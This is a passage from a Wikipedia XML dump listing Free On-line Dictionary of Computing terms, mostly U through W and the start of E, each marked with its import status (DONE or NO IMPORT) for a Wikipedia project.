Ulm's Modula-2 System&lt;br&gt;
ULP&lt;br&gt;
Ultra64&lt;br&gt;
Ultra-ATA&lt;br&gt;
Ultra DMA&lt;br&gt;
Ultra-SCSI&lt;br&gt;
Ultrix&lt;br&gt;
um&lt;br&gt;
UMB&lt;br&gt;
UMB Scheme&lt;br&gt;
UMDL&lt;br&gt;
UML '''DONE'''&lt;br&gt;
uML '''DONE'''&lt;br&gt;
UMTS '''DONE'''&lt;br&gt;
unary '''DONE'''&lt;br&gt;
UNC&lt;br&gt;
UNCL&lt;br&gt;
UNCOL&lt;br&gt;
uncompression&lt;br&gt;
uncountable '''DONE'''&lt;br&gt;
uncurrying&lt;br&gt;
undefined external reference&lt;br&gt;
underflow&lt;br&gt;
Undernet&lt;br&gt;
underscore&lt;br&gt;
under the hood&lt;br&gt;
undocumented feature '''DONE'''&lt;br&gt;
U-NET Limited&lt;br&gt;
unfold&lt;br&gt;
unfold/fold&lt;br&gt;
UNI&lt;br&gt;
Unicode '''DONE'''&lt;br&gt;
UniCOMAL&lt;br&gt;
unicos&lt;br&gt;
Uniface&lt;br&gt;
unification&lt;br&gt;
Unified Han&lt;br&gt;
Unified Modeling Language '''DONE'''&lt;br&gt;
unifier&lt;br&gt;
UNIFORM&lt;br&gt;
Uniform Naming Convention&lt;br&gt;
Uniform Resource Citation&lt;br&gt;
Uniform Resource Locater&lt;br&gt;
Uniform Resource Locator&lt;br&gt;
Uniform Resource Name&lt;br&gt;
Uniform Resource Number&lt;br&gt;
Unify&lt;br&gt;
unify&lt;br&gt;
Unify Corporation&lt;br&gt;
Unihan&lt;br&gt;
uninstaller&lt;br&gt;
uninteresting&lt;br&gt;
Uninterruptible Power Supply '''DONE'''&lt;br&gt;
Unipalm Group plc&lt;br&gt;
Unipress Software, Inc.&lt;br&gt;
uniprocessor&lt;br&gt;
UNIQUE&lt;br&gt;
Unique ID Listing&lt;br&gt;
unique key&lt;br&gt;
unique sales point&lt;br&gt;
UNISAP&lt;br&gt;
Unisys Corporation '''DONE'''&lt;br&gt;
United Technologies Research Cente&lt;br&gt;
Unit Separator&lt;br&gt;
UNITY&lt;br&gt;
Univac '''NO IMPORT'''&lt;br&gt;
Universal algebra '''DONE'''&lt;br&gt;
Universal Asynchronous Receiver/Transmitter&lt;br&gt;
Universal Character Set&lt;br&gt;
Universal Communications X&lt;br&gt;
Universal Debugger&lt;br&gt;
Universal Disk Format&lt;br&gt;
universal quantifier '''DONE'''&lt;br&gt;
Universal Resource Identifier&lt;br&gt;
Universal Resource Locator&lt;br&gt;
Universal Serial Bus '''DONE'''&lt;br&gt;
universal thunk&lt;br&gt;
Universal Time '''DONE'''&lt;br&gt;
Universal Time Coordinated '''DONE'''&lt;br&gt;
University of Arizona'''DONE''' &lt;br&gt;
University of California at Berkeley '''DONE'''&lt;br&gt;
University of Durham '''DONE'''&lt;br&gt;
University of East London&lt;br&gt;
University of Edinburgh '''DONE'''&lt;br&gt;
University of Hawaii&lt;br&gt;
University of Iceland&lt;br&gt;
University of London Computing Centre&lt;br&gt;
University of Michigan '''DONE'''&lt;br&gt;
University of Michigan Digital Library Project&lt;br&gt;
University of Minnesota '''DONE'''&lt;br&gt;
University of Nijmegen '''DONE'''&lt;br&gt;
University of Pennsylvania '''DONE'''&lt;br&gt;
University of Tasmania&lt;br&gt;
University of Twente&lt;br&gt;
Unix '''DONE'''&lt;br&gt;
Unix box&lt;br&gt;
Unix brain damage&lt;br&gt;
Unix conspiracy&lt;br&gt;
Unix International&lt;br&gt;
Unixism&lt;br&gt;
Unix man page&lt;br&gt;
Unix manual page&lt;br&gt;
Unix System V&lt;br&gt;
Unix to Unix Copy&lt;br&gt;
UnixWare&lt;br&gt;
Unix weenie&lt;br&gt;
Unix wizard&lt;br&gt;
unnormalised&lt;br&gt;
unproto&lt;br&gt;
unshar&lt;br&gt;
unshielded twisted pair&lt;br&gt;
unswizzle&lt;br&gt;
unwind-protect&lt;br&gt;
unwind the stack&lt;br&gt;
UN*X&lt;br&gt;
unzip&lt;br&gt;
up dowon&lt;br&gt;
uparrow&lt;br&gt;
uparrow&lt;br&gt;
UPenn&lt;br&gt;
upgradability&lt;br&gt;
upgrade&lt;br&gt;
upgradeability&lt;br&gt;
upload '''DONE'''&lt;br&gt;
UPMAIL Tricia Prolog&lt;br&gt;
upper bound '''DONE'''&lt;br&gt;
Upper Layer Protocol&lt;br&gt;
upper memory block&lt;br&gt;
Upper Side-Band modulation&lt;br&gt;
UPS '''DONE'''&lt;br&gt;
upstream&lt;br&gt;
upthread&lt;br&gt;
upward closure&lt;br&gt;
Uranus&lt;br&gt;
urban legend '''DONE'''&lt;br&gt;
URC&lt;br&gt;
urchin&lt;br&gt;
URI '''DONE'''&lt;br&gt;
URL '''DONE'''&lt;br&gt;
URL forwarding&lt;br&gt;
URL redirection&lt;br&gt;
URN&lt;br&gt;
URouLette&lt;br&gt;
US '''DONE'''&lt;br&gt;
us '''DONE'''&lt;br&gt;
usability '''DONE'''&lt;br&gt;
USAModSim&lt;br&gt;
usa.net&lt;br&gt;
US-ASCII&lt;br&gt;
USB '''DONE'''&lt;br&gt;
USE&lt;br&gt;
Usenet '''DONE'''&lt;br&gt;
Usenet news '''NO IMPORT'''&lt;br&gt;
Usenetter '''NO IMPORT'''&lt;br&gt;
USENIX&lt;br&gt;
user '''DONE'''&lt;br&gt;
user base&lt;br&gt;
User Brain Damage&lt;br&gt;
User Datagram Protocol '''DONE'''&lt;br&gt;
user-friendly '''DONE'''&lt;br&gt;
user id&lt;br&gt;
user identifier&lt;br&gt;
user interface '''DONE'''&lt;br&gt;
user interface copyright&lt;br&gt;
User Interface Language&lt;br&gt;
user name '''DONE'''&lt;br&gt;
User Network Interface&lt;br&gt;
user-obsequious&lt;br&gt;
user-unctuous&lt;br&gt;
Use the Source Luke&lt;br&gt;
USG Unix&lt;br&gt;
usim&lt;br&gt;
USL&lt;br&gt;
USP&lt;br&gt;
USR&lt;br&gt;
usr&lt;br&gt;
US Robotics&lt;br&gt;
U.S. Robotics, Inc.&lt;br&gt;
USSA&lt;br&gt;
UTC '''DONE'''&lt;br&gt;
UTF '''NO IMPORT'''&lt;br&gt;
UTF-8 '''DONE'''&lt;br&gt;
utility-coder&lt;br&gt;
UTOPIST&lt;br&gt;
UTP &lt;br&gt;
UTRC&lt;br&gt;
UTSL&lt;br&gt;
uucp&lt;br&gt;
UUCPNET&lt;br&gt;
uudecode&lt;br&gt;
uuencode&lt;br&gt;
UUNET PIPEX&lt;br&gt;
UUPC&lt;br&gt;
uy&lt;br&gt;
uz&lt;br&gt;

V&lt;br&gt;
V.21&lt;br&gt;
V.22&lt;br&gt;
V.22bis&lt;br&gt;
V.23&lt;br&gt;
V.24&lt;br&gt;
V.25&lt;br&gt;
V.28&lt;br&gt;
V.32&lt;br&gt;
V.32bis&lt;br&gt;
V.32ter&lt;br&gt;
V.34&lt;br&gt;
V.35&lt;br&gt;
V.42&lt;br&gt;
V.42bis&lt;br&gt;
V.90&lt;br&gt;
V.91&lt;br&gt;
va&lt;br&gt;
vacuum tube '''DONE'''&lt;br&gt;
vadding '''DONE'''&lt;br&gt;
VAL&lt;br&gt;
Valencia Simple Tasker&lt;br&gt;
valency '''DONE'''&lt;br&gt;
Valid&lt;br&gt;
validation '''DONE'''&lt;br&gt;
value&lt;br&gt;
Value Added Network&lt;br&gt;
value added reseller&lt;br&gt;
value added retailer&lt;br&gt;
valve '''DONE'''&lt;br&gt;
VAN&lt;br&gt;
vanilla&lt;br&gt;
vanity domain&lt;br&gt;
vannevar&lt;br&gt;
Vannevar Bush '''DONE'''&lt;br&gt;
vaporware '''DONE'''&lt;br&gt;
VAR&lt;br&gt;
Variational Graphics eXtended&lt;br&gt;
VAX '''DONE'''&lt;br&gt;
VAX DOCUMENT&lt;br&gt;
VAXectomy&lt;br&gt;
VAXen&lt;br&gt;
vaxherd&lt;br&gt;
vaxism&lt;br&gt;
VAX MIPS&lt;br&gt;
vaxocentrism&lt;br&gt;
VAXset&lt;br&gt;
VAXstation&lt;br&gt;
VAX/VMS&lt;br&gt;
VB&lt;br&gt;
VBA '''DONE'''&lt;br&gt;
vbell&lt;br&gt;
VBScript&lt;br&gt;
vbx&lt;br&gt;
vc&lt;br&gt;
VCC filtering&lt;br&gt;
VCID&lt;br&gt;
VCL&lt;br&gt;
VCODE&lt;br&gt;
[[VCPI]]&lt;br&gt;
VCR '''DONE'''&lt;br&gt;
vdiff&lt;br&gt;
VDL&lt;br&gt;
VDM&lt;br&gt;
VDM++&lt;br&gt;
VDM-SL&lt;br&gt;
VDSL&lt;br&gt;
VDT&lt;br&gt;
VDU '''DONE'''&lt;br&gt;
ve&lt;br&gt;
vector '''DONE'''&lt;br&gt;
Vector C&lt;br&gt;
vector font&lt;br&gt;
vector graphics '''DONE'''&lt;br&gt;
vector processor '''DONE'''&lt;br&gt;
vector space '''DONE''' &lt;br&gt;
VECTRAN&lt;br&gt;
VEE&lt;br&gt;
veeblefeetzer&lt;br&gt;
veeblefester&lt;br&gt;
veeblefetzer&lt;br&gt;
VEL&lt;br&gt;
Vendor Independent Messaging&lt;br&gt;
ventilator card&lt;br&gt;
Ventura Publisher&lt;br&gt;
Venus flytrap&lt;br&gt;
verbage&lt;br&gt;
verbiage&lt;br&gt;
Verdi '''DONE'''&lt;br&gt;
verification&lt;br&gt;
Verilog '''DONE'''&lt;br&gt;
Verilog SA&lt;br&gt;
Veronica&lt;br&gt;
Versa Module Europa&lt;br&gt;
version&lt;br&gt;
Version 7&lt;br&gt;
vertical application&lt;br&gt;
vertical bar&lt;br&gt;
vertical encoding&lt;br&gt;
vertical loop combination&lt;br&gt;
vertical microcode&lt;br&gt;
Vertical Redundancy Check&lt;br&gt;
vertical refresh rate&lt;br&gt;
vertical scan rate&lt;br&gt;
Very high bit-rate Digital Subscriber Line&lt;br&gt;
Very Large Database&lt;br&gt;
Very Large Memory&lt;br&gt;
Very Large Scale Integration '''DONE'''&lt;br&gt;
Very Long Instruction Word&lt;br&gt;
Very Small Aperture Terminal&lt;br&gt;
VESA '''DONE'''&lt;br&gt;
VESA Local Bus '''DONE'''&lt;br&gt;
V.FAST&lt;br&gt;
VFAT '''DONE'''&lt;br&gt;
V.FC&lt;br&gt;
vg&lt;br&gt;
VGA '''DONE'''&lt;br&gt;
VGQF&lt;br&gt;
vgrep&lt;br&gt;
VGX&lt;br&gt;
VHDL '''DONE'''&lt;br&gt;
VHE&lt;br&gt;
VHLL&lt;br&gt;
vhost&lt;br&gt;
VHS '''DONE'''&lt;br&gt;
vi '''DONE'''&lt;br&gt;
VIC-20&lt;br&gt;
video adapter&lt;br&gt;
video card&lt;br&gt;
video compression '''DONE'''&lt;br&gt;
video conference&lt;br&gt;
video conferencing&lt;br&gt;
video dial tone&lt;br&gt;
video display terminal&lt;br&gt;
Video Electronics Standards Association '''DONE'''&lt;br&gt;
Video Graphics Adapter&lt;br&gt;
Video Graphics Adaptor&lt;br&gt;
Video Graphics Array&lt;br&gt;
video memory&lt;br&gt;
Video on Demand&lt;br&gt;
video RAM&lt;br&gt;
video random access memory&lt;br&gt;
video terminal&lt;br&gt;
[[videotex]] '''DONE'''&lt;br&gt;
Vienna Definition Language&lt;br&gt;
Vienna Definition Method&lt;br&gt;
Vienna Development Method&lt;br&gt;
Vienna Development Method Specification Language&lt;br&gt;
Vienna Fortran&lt;br&gt;
Vietnamese '''DONE'''&lt;br&gt;
viewer&lt;br&gt;
ViewPoints&lt;br&gt;
Views&lt;br&gt;
VIF&lt;br&gt;
Vi Improved&lt;br&gt;
VIM '''DONE'''&lt;br&gt;
vines&lt;br&gt;
Vine Technology&lt;br&gt;
Vint Cerf '''DONE'''&lt;br&gt;
Vinton Cerf&lt;br&gt;
Viola&lt;br&gt;
virgin&lt;br&gt;
virgule&lt;br&gt;
Viron&lt;br&gt;
virtual&lt;br&gt;
virtual 86 mode&lt;br&gt;
virtual address&lt;br&gt;
virtual cache&lt;br&gt;
virtual circuit '''DONE'''&lt;br&gt;
Virtual Circuit Identifier&lt;br&gt;
virtual connection&lt;br&gt;
Virtual Control Program Interface&lt;br&gt;
Virtual Device Driver&lt;br&gt;
Virtual Device Location&lt;br&gt;
virtual disk&lt;br&gt;
Virtual Home Environment&lt;br&gt;
virtual host&lt;br&gt;
Virtual LAN&lt;br&gt;
Virtual Loadable Module&lt;br&gt;
Virtual Local Area Network&lt;br&gt;
Virtual Machine &lt;br&gt;
virtual machine '''DONE'''&lt;br&gt;
Virtual Machine/Conversational Monitor System&lt;br&gt;
Virtual Machine Environment&lt;br&gt;
Virtual Machine/ESA&lt;br&gt;
Virtual Machine/System Product&lt;br&gt;
Virtual Machine/XA&lt;br&gt;
virtual memory '''DONE'''&lt;br&gt;
Virtual Memory System '''DONE'''&lt;br&gt;
virtual path&lt;br&gt;
virtual point of presence&lt;br&gt;
virtual PoP&lt;br&gt;
Virtual Private Network&lt;br&gt;
virtual reality '''DONE'''&lt;br&gt;
Virtual Reality Modeling Language&lt;br&gt;
Virtual Sequential Access Method&lt;br&gt;
virtual shredder&lt;br&gt;
Virtual Software Factory&lt;br&gt;
Virtual Storage Extended&lt;br&gt;
Virtual Telecommunications Access Method&lt;br&gt;
virus '''DONE'''&lt;br&gt;
viruses '''DONE'''&lt;br&gt;
visible bell&lt;br&gt;
visionary&lt;br&gt;
Visual BASIC&lt;br&gt;
Visual Basic for Applications&lt;br&gt;
Visual BASIC Script&lt;br&gt;
visual bell&lt;br&gt;
Visual C++&lt;br&gt;
Visual Component Library&lt;br&gt;
Visual dBASE&lt;br&gt;
Visual Display Unit&lt;br&gt;
Visual FoxPro&lt;br&gt;
Visual Interface&lt;br&gt;
visualisation&lt;br&gt;
visual language&lt;br&gt;
visual programming&lt;br&gt;
visual programming environment&lt;br&gt;
visual programming language&lt;br&gt;
VITAL&lt;br&gt;
VIVID&lt;br&gt;
viz&lt;br&gt;
VLAN&lt;br&gt;
VLB '''DONE'''&lt;br&gt;
VLDB&lt;br&gt;
Vlisp&lt;br&gt;
VLIW '''DONE'''&lt;br&gt;
VLM&lt;br&gt;
VLSI '''DONE'''&lt;br&gt;
VLSM '''DONE'''&lt;br&gt;
VM&lt;br&gt;
VM/CMS '''DONE'''&lt;br&gt;
VME '''DONE'''&lt;br&gt;
VMEbus&lt;br&gt;
VME Microsystems International Corporation&lt;br&gt;
VM/ESA&lt;br&gt;
VML&lt;br&gt;
VMS '''DONE'''&lt;br&gt;
VM/SP&lt;br&gt;
VM/XA&lt;br&gt;
vn&lt;br&gt;
vocoder '''DONE'''&lt;br&gt;
vocoding&lt;br&gt;
VoD&lt;br&gt;
voice mail&lt;br&gt;
voice-net&lt;br&gt;
Voice over IP '''DONE'''&lt;br&gt;
voice recognition&lt;br&gt;
VoIP '''DONE'''&lt;br&gt;
volatile&lt;br&gt;
volatile memory&lt;br&gt;
volatile storage&lt;br&gt;
volatile variable&lt;br&gt;
voltage '''DONE'''&lt;br&gt;
Volume Table Of Contents&lt;br&gt;
von Neumann integer&lt;br&gt;
von Neumann, John&lt;br&gt;
von Neumann ordinal '''DONE'''&lt;br&gt;
voodoo programming '''DONE'''&lt;br&gt;
Voronoi diagram&lt;br&gt;
Voronoi polygon&lt;br&gt;
VOS '''DONE'''&lt;br&gt;
Voters Telecommunications Watch&lt;br&gt;
voxel&lt;br&gt;
V.pcm&lt;br&gt;
VPL&lt;br&gt;
VPN&lt;br&gt;
VP-Planner&lt;br&gt;
VR&lt;br&gt;
VRAM&lt;br&gt;
VRC&lt;br&gt;
VRML&lt;br&gt;
VRTX&lt;br&gt;
VSAM&lt;br&gt;
VSAT&lt;br&gt;
VSCM&lt;br&gt;
VSE '''DONE'''&lt;br&gt;
VSF&lt;br&gt;
VSP&lt;br&gt;
VSTa&lt;br&gt;
VSX&lt;br&gt;
VT&lt;br&gt;
vt100 '''DONE'''&lt;br&gt;
vt220&lt;br&gt;
VTAM&lt;br&gt;
VTC&lt;br&gt;
VTOC&lt;br&gt;
VTS&lt;br&gt;
VTW&lt;br&gt;
vu&lt;br&gt;
VUE&lt;br&gt;
VUIT&lt;br&gt;
VULCAN&lt;br&gt;
Vulcan death grip&lt;br&gt;
Vulcan nerve pinch&lt;br&gt;
vulture capitalist&lt;br&gt;
VUP&lt;br&gt;
VxD&lt;br&gt;
VXI&lt;br&gt;
VxWorks&lt;br&gt;

W2K&lt;br&gt;
W3&lt;br&gt;
W3C '''DONE'''&lt;br&gt;
W3 Consortium&lt;br&gt;
WA-12&lt;br&gt;
wabbit&lt;br&gt;
Wabi&lt;br&gt;
WabiServer&lt;br&gt;
wacco&lt;br&gt;
Wafe&lt;br&gt;
WAFL&lt;br&gt;
WAIS '''DONE'''&lt;br&gt;
WAITS&lt;br&gt;
wait state&lt;br&gt;
waldo&lt;br&gt;
walk&lt;br&gt;
walking drives&lt;br&gt;
walk off the end of&lt;br&gt;
wall&lt;br&gt;
wall clock time&lt;br&gt;
wall follower&lt;br&gt;
wallpaper&lt;br&gt;
wall time&lt;br&gt;
WAM&lt;br&gt;
WAN '''DONE'''&lt;br&gt;
Wang Laboratories&lt;br&gt;
wango&lt;br&gt;
wannabee&lt;br&gt;
want list&lt;br&gt;
WAP -- ''''''DONE''''''&lt;br&gt;
WAP Forum&lt;br&gt;
wardialer&lt;br&gt;
-ware&lt;br&gt;
warez '''DONE'''&lt;br&gt;
WarGames&lt;br&gt;
warlording&lt;br&gt;
warm boot&lt;br&gt;
Warm Silence Software&lt;br&gt;
Warp&lt;br&gt;
wart&lt;br&gt;
washing machine&lt;br&gt;
Wasserman&lt;br&gt;
WATBOL&lt;br&gt;
Watcom C/C++&lt;br&gt;
Watcom International&lt;br&gt;
Watcom SQL&lt;br&gt;
Watcom VX*REXX&lt;br&gt;
Waterfall Model ''''''DONE''''''&lt;br&gt;
water MIPS&lt;br&gt;
WATFIV&lt;br&gt;
WATFOR&lt;br&gt;
wav&lt;br&gt;
WAVE&lt;br&gt;
wave a dead chicken '''DONE'''&lt;br&gt;
wave division multiplexing '''DONE'''&lt;br&gt;
Waveform Generation Language&lt;br&gt;
wavelet '''DONE'''&lt;br&gt;
wavetable&lt;br&gt;
wavetable synthesis&lt;br&gt;
WaZOO&lt;br&gt;
WBMP&lt;br&gt;
WBS&lt;br&gt;
WCL '''DONE'''&lt;br&gt;
WD&lt;br&gt;
WDASM&lt;br&gt;
WDM&lt;br&gt;
WE&lt;br&gt;
Weak Head Normal Form&lt;br&gt;
weakly typed&lt;br&gt;
weak typing&lt;br&gt;
weasel&lt;br&gt;
WEB '''DONE'''&lt;br&gt;
Web '''DONE'''&lt;br&gt;
web2c&lt;br&gt;
web browser '''DONE'''&lt;br&gt;
webcam '''DONE'''&lt;br&gt;
webcasting&lt;br&gt;
WebCGM&lt;br&gt;
WebCOMAL&lt;br&gt;
WebCrawler '''DONE'''&lt;br&gt;
webhead&lt;br&gt;
weblint&lt;br&gt;
webmail '''DONE'''&lt;br&gt;
webmagistra&lt;br&gt;
webmaster&lt;br&gt;
webmistress&lt;br&gt;
webmonkey&lt;br&gt;
WebObjects&lt;br&gt;
web page '''DONE'''&lt;br&gt;
Web Request Broker&lt;br&gt;
web server '''DONE'''&lt;br&gt;
web site '''DONE'''&lt;br&gt;
web smith&lt;br&gt;
Webster&lt;br&gt;
Webster's Dictionary&lt;br&gt;
wedged&lt;br&gt;
wedgie&lt;br&gt;
wedgitude&lt;br&gt;
Weeble&lt;br&gt;
weeds&lt;br&gt;
weenie&lt;br&gt;
Weenix&lt;br&gt;
weighted search&lt;br&gt;
well-behaved&lt;br&gt;
well-connected&lt;br&gt;
well-ordered set '''DONE'''&lt;br&gt;
Wesley Clark&lt;br&gt;
Western Digital Corporation&lt;br&gt;
Westmount&lt;br&gt;
wetware&lt;br&gt;
wf&lt;br&gt;
WFL&lt;br&gt;
WfMC&lt;br&gt;
WFW&lt;br&gt;
WFWG&lt;br&gt;
WG&lt;br&gt;
WGL&lt;br&gt;
whack&lt;br&gt;
whacker&lt;br&gt;
whales&lt;br&gt;
whalesong&lt;br&gt;
whatis&lt;br&gt;
What's a spline?&lt;br&gt;
What You Get Is What You Never Thought You Had&lt;br&gt;
What You See Is All You Get&lt;br&gt;
What You See Is What You Get&lt;br&gt;
wheel&lt;br&gt;
wheel bit&lt;br&gt;
wheel wars&lt;br&gt;
When It's '''DONE'''&lt;br&gt;
Whetstone&lt;br&gt;
Which Stands For Nothing&lt;br&gt;
while&lt;br&gt;
White Book&lt;br&gt;
White book CD-ROM&lt;br&gt;
white box testing&lt;br&gt;
White pages '''DONE'''&lt;br&gt;
white paper&lt;br&gt;
whitespace&lt;br&gt;
white trash '''NO IMPORT'''&lt;br&gt;
WHNF&lt;br&gt;
whois '''DONE'''&lt;br&gt;
Whopper&lt;br&gt;
WHQL&lt;br&gt;
WIBNI&lt;br&gt;
Wide Area Information Servers '''DONE'''&lt;br&gt;
Wide Area Network '''DONE'''&lt;br&gt;
Wideband ATM&lt;br&gt;
Wide SCSI&lt;br&gt;
widget '''DONE'''&lt;br&gt;
wiggles&lt;br&gt;
WiLAN&lt;br&gt;
Wild_LIFE&lt;br&gt;
wild card '''DONE'''&lt;br&gt;
William Gibson '''DONE'''&lt;br&gt;
William Hamilton&lt;br&gt;
William Joy&lt;br&gt;
WIMP&lt;br&gt;
WIMP environment&lt;br&gt;
win&lt;br&gt;
Win2K&lt;br&gt;
Win32&lt;br&gt;
Win32s '''NO IMPORT'''&lt;br&gt;
Win 95&lt;br&gt;
Win 98&lt;br&gt;
winchester&lt;br&gt;
windowing system&lt;br&gt;
window manager '''DONE'''&lt;br&gt;
Window RAM&lt;br&gt;
Window Random Access Memory&lt;br&gt;
Windows '''DONE'''&lt;br&gt;
Windows 1 '''NO IMPORT'''&lt;br&gt;
Windows 2&lt;br&gt;
Windows 2000 '''DONE'''&lt;br&gt;
Windows/286&lt;br&gt;
Windows 2K '''NO IMPORT'''&lt;br&gt;
Windows 3.0&lt;br&gt;
Windows 3.1&lt;br&gt;
Windows 3.11&lt;br&gt;
Windows/386&lt;br&gt;
Windows 4GL&lt;br&gt;
Windows 94&lt;br&gt;
Windows 95 '''DONE'''&lt;br&gt;
Windows 98 '''DONE'''&lt;br&gt;
Windows Application Binary Interface&lt;br&gt;
Windows CE&lt;br&gt;
Windows for Workgroups&lt;br&gt;
window shopping&lt;br&gt;
Windows Internet Naming Service&lt;br&gt;
Windows Messaging&lt;br&gt;
windows messaging&lt;br&gt;
Windows NT '''DONE'''&lt;br&gt;
Windows NT 3.1&lt;br&gt;
Windows NT 3.5&lt;br&gt;
Windows NT 4 '''NO IMPORT'''&lt;br&gt;
Windows NT 5 '''NO IMPORT'''&lt;br&gt;
Windows NT Network Model&lt;br&gt;
Windows Open Service Architecture&lt;br&gt;
Windows sockets&lt;br&gt;
window system '''DONE'''&lt;br&gt;
Windoze&lt;br&gt;
Wind River Systems&lt;br&gt;
winged comments&lt;br&gt;
winkey&lt;br&gt;
winning&lt;br&gt;
winnitude&lt;br&gt;
WINS&lt;br&gt;
Winsock&lt;br&gt;
WinSoft Products Ltd&lt;br&gt;
wintel&lt;br&gt;
WINZIP&lt;br&gt;
wired&lt;br&gt;
wirehead&lt;br&gt;
wireless&lt;br&gt;
Wireless Application Protocol '''DONE'''&lt;br&gt;
wireless bitmap&lt;br&gt;
wireless local area network&lt;br&gt;
wirewater&lt;br&gt;
wish list&lt;br&gt;
Wisp&lt;br&gt;
within delta of&lt;br&gt;
within epsilon of&lt;br&gt;
wizard&lt;br&gt;
Wizard Book&lt;br&gt;
wizardly&lt;br&gt;
wizard mode&lt;br&gt;
WizDOM&lt;br&gt;
wk1&lt;br&gt;
WLAN&lt;br&gt;
wmf&lt;br&gt;
WNPP&lt;br&gt;
Wolfram Research, Inc.&lt;br&gt;
WOM&lt;br&gt;
woman&lt;br&gt;
WOMBAT&lt;br&gt;
wombat&lt;br&gt;
wombat.doc.ic.ac.uk&lt;br&gt;
womb box&lt;br&gt;
Woodenman&lt;br&gt;
woofer&lt;br&gt;
WOOL&lt;br&gt;
Worcester Polytechnic Institute&lt;br&gt;
Word '''DONE'''&lt;br&gt;
word '''DONE'''&lt;br&gt;
Word for Windows&lt;br&gt;
WordPerfect '''DONE'''&lt;br&gt;
WordPerfect Corporation&lt;br&gt;
word processing '''DONE'''&lt;br&gt;
word processor '''DONE'''&lt;br&gt;
word size&lt;br&gt;
word spamming&lt;br&gt;
WordTech&lt;br&gt;
word wrap&lt;br&gt;
workaround&lt;br&gt;
Work Breakdown Structure '''DONE'''&lt;br&gt;
workflow '''DONE'''&lt;br&gt;
Workflow Management Coalition&lt;br&gt;
workgroup&lt;br&gt;
working as designed&lt;br&gt;
working set&lt;br&gt;
working set model&lt;br&gt;
Work Needed and Prospective Packages&lt;br&gt;
worksheet&lt;br&gt;
workstation '''DONE'''&lt;br&gt;
World Time&lt;br&gt;
World-Wide Wait&lt;br&gt;
World-Wide Web '''DONE'''&lt;br&gt;
World-Wide Web browser '''NO IMPORT'''&lt;br&gt;
World Wide Web Consortium '''DONE'''&lt;br&gt;
World-Wide Web Worm&lt;br&gt;
WORM&lt;br&gt;
worm '''DONE'''&lt;br&gt;
wormhole '''DONE'''&lt;br&gt;
wormhole routing&lt;br&gt;
WOSA&lt;br&gt;
wound around the axle&lt;br&gt;
WPG&lt;br&gt;
WPI&lt;br&gt;
WPL+&lt;br&gt;
WPOP&lt;br&gt;
wps&lt;br&gt;
WRAM&lt;br&gt;
wrap around&lt;br&gt;
wrapper&lt;br&gt;
wrats nest&lt;br&gt;
wrb&lt;br&gt;
write&lt;br&gt;
WRITEACOURSE&lt;br&gt;
[[write-back]] '''DONE'''&lt;br&gt;
write buffer&lt;br&gt;
Write-Once Read-Many&lt;br&gt;
write-only code&lt;br&gt;
write-only language&lt;br&gt;
write-only memory&lt;br&gt;
[[write-through]] '''DONE'''&lt;br&gt;
[[write-thru]] '''DONE'''&lt;br&gt;
writing system&lt;br&gt;
Wrong Thing&lt;br&gt;
WRT&lt;br&gt;
ws&lt;br&gt;
WSFN&lt;br&gt;
WSL&lt;br&gt;
WTF&lt;br&gt;
WTH&lt;br&gt;
wugga wugga&lt;br&gt;
Wumpus '''DONE'''&lt;br&gt;
WWW '''DONE'''&lt;br&gt;
WWW browser '''DONE'''&lt;br&gt;
WWWW&lt;br&gt;
WYGIWYNTYH&lt;br&gt;
WYSIAYG '''DONE'''&lt;br&gt;
[[WYSIWYG]] '''DONE'''&lt;br&gt;

:''See also :'' [[Free On-line Dictionary of Computing]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Free On-line Dictionary of Computing/E - H</title>
    <id>11339</id>
    <revision>
      <id>34981880</id>
      <timestamp>2006-01-13T04:34:11Z</timestamp>
      <contributor>
        <username>Fuzlyssa</username>
        <id>72238</id>
      </contributor>
      <minor />
      <comment>disambig GEM link</comment>
      <text xml:space="preserve">[[Free_On-line_Dictionary_of_Computing/symbols - B|symbols - B]] -- [[Free_On-line_Dictionary_of_Computing/C - D|C - D]] -- '''E - H''' -- [[Free_On-line_Dictionary_of_Computing/I - K|I - K]] -- [[Free_On-line_Dictionary_of_Computing/L - N|L - N]] -- [[Free_On-line_Dictionary_of_Computing/O - Q|O - Q]] -- [[Free_On-line_Dictionary_of_Computing/R - S|R - S]] -- [[Free_On-line_Dictionary_of_Computing/T - W|T - W]] -- [[Free_On-line_Dictionary_of_Computing/X - Z|X - Z]] -- [[Free_On-line_Dictionary_of_Computing/Status|FOLDOC Status Page]]

E '''NO IMPORT''' - Duplicate info.&lt;br&gt;
E1 '''NO IMPORT''' - Esoteric&lt;br&gt;
E2 '''NO IMPORT''' - Esoteric&lt;br&gt;
E3 '''NO IMPORT''' - Esoteric&lt;br&gt;
E4 '''NO IMPORT''' - Esoteric&lt;br&gt;
E5 '''NO IMPORT''' - Esoteric&lt;br&gt;
EAF '''NO IMPORT''' - Esoteric&lt;br&gt;
EAG '''DONE'''&lt;br&gt;
eager evaluation&lt;br&gt;
Eagle '''NO IMPORT''' - Esoteric&lt;br&gt;
EAI '''NO IMPORT''' - Duplicate info.&lt;br&gt;
EAPROM '''NO IMPORT''' - Insignificant info.&lt;br&gt;
[[earliest deadline first scheduling|earliest deadline first]] '''DONE'''&lt;br&gt;
Early PL/I '''DONE'''&lt;br&gt;
EARN&lt;br&gt;
EAROM '''NO IMPORT''' - Duplicate info.&lt;br&gt;
earthquake '''NO IMPORT''' - Jargon&lt;br&gt;
Ease '''NO IMPORT''' - Duplicate info.&lt;br&gt;
EASE II '''NO IMPORT''' - Esoteric&lt;br&gt;
EASIAC '''NO IMPORT''' - Esoteric&lt;br&gt;
EAST '''NO IMPORT''' - Esoteric&lt;br&gt;
easter egg&lt;br&gt;
Easter egging&lt;br&gt;
Eastern Washington University&lt;br&gt;
EASY FOX '''NO IMPORT''' - Esoteric&lt;br&gt;
eat flaming death&lt;br&gt;
EBASIC&lt;br&gt;
EBCDIC&lt;br&gt;
EBCIDIC&lt;br&gt;
EBNF&lt;br&gt;
Ebone&lt;br&gt;
ec&lt;br&gt;
EC++&lt;br&gt;
ECAP II&lt;br&gt;
E-carrier system&lt;br&gt;
Ecash&lt;br&gt;
ECC&lt;br&gt;
Eccles-Jordan circuit&lt;br&gt;
Echidna&lt;br&gt;
echo&lt;br&gt;
echo cancellation&lt;br&gt;
ECHT&lt;br&gt;
ECIP2&lt;br&gt;
ECIS&lt;br&gt;
Eckert-Mauchly Computer Corporation&lt;br&gt;
ECL&lt;br&gt;
ECLIPSE&lt;br&gt;
ECM&lt;br&gt;
ECMA&lt;br&gt;
e-commerce&lt;br&gt;
Econet&lt;br&gt;
ECOOP&lt;br&gt;
